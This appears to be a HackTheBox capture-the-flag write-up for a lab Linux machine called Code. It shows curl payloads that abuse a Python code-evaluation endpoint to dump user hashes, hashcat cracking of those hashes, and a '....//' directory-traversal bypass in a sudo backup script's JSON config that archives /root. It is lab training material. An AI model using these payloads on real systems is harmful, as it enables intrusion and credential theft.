All write-ups
7 min read

HackTheBox: Code Writeup

HackTheBoxLinuxPythonCode ExecutionDirectory TraversalHashcat

HackTheBox: Code

Overview

Code is a Linux machine featuring a Python web application that evaluates arbitrary code. After exfiltrating and cracking database hashes, lateral movement leads to a backup script vulnerable to directory traversal, yielding root access.

Enumeration

Initial Nmap scan reveals SSH and a Gunicorn HTTP server.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Gunicorn 20.0.4

Directory fuzzing with Gobuster identifies several endpoints: /about, /codes, /login, /register.

Initial Access: Remote Code Execution

The application exposes a /run_code endpoint designed to evaluate Python code. We can abuse this to query the SQLAlchemy database objects directly.

Extracting usernames:

curl -X POST -d "code=print([u.username for u in db.session.query(User).all()])" http://10.129.46.160:5000/run_code
{"output":"['development', 'martin', 'test']\n"}

Extracting password hashes:

curl -X POST -d "code=print([u.password for u in db.session.query(User).all()])" http://10.129.46.160:5000/run_code
{"output":"['[REDACTED]', '[REDACTED]', '[REDACTED]']\n"}

Cracking the Hashes

The extracted MD5 hashes are cracked using Hashcat against rockyou.txt:

hashcat -m 0 -a 0 hash1.txt rockyou.txt

The hash for the user martin successfully cracks to [REDACTED]. Logging in via SSH as martin grants initial access and the user flag.

Privilege Escalation: Backup Script Traversal

Checking sudo privileges for martin:

martin@code:~/backups$ sudo -l
User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

The backy.sh script reads a configuration file, task.json, which defines directories to archive. The default structure looks like this:

{
	"destination": "/home/martin/backups/",
	"multiprocessing": true,
	"verbose_log": false,
	"directories_to_archive": [
		"/home/"
	],
	"exclude": [
		".*"
	]
}

The script is vulnerable to directory traversal within the directories_to_archive array. However, standard dot-slash (../) sequences might be filtered. We bypass this using double slashes and dots:

{  
    "destination": "/home/martin/backups/",  
    "multiprocessing": true,  
    "verbose_log": false,  
    "directories_to_archive": [  
        "/home/....//....//root"  
    ]  
}

Running the script with the crafted JSON:

sudo /usr/bin/backy.sh task.json

This creates an archive of the /root directory in /home/martin/backups/.

Extracting the generated tar.bz2 archive:

tar -xjf code_home_.._.._root_2025_March.tar.bz2

Inside the extracted archive resides the root flag ([REDACTED]).

Useful Commands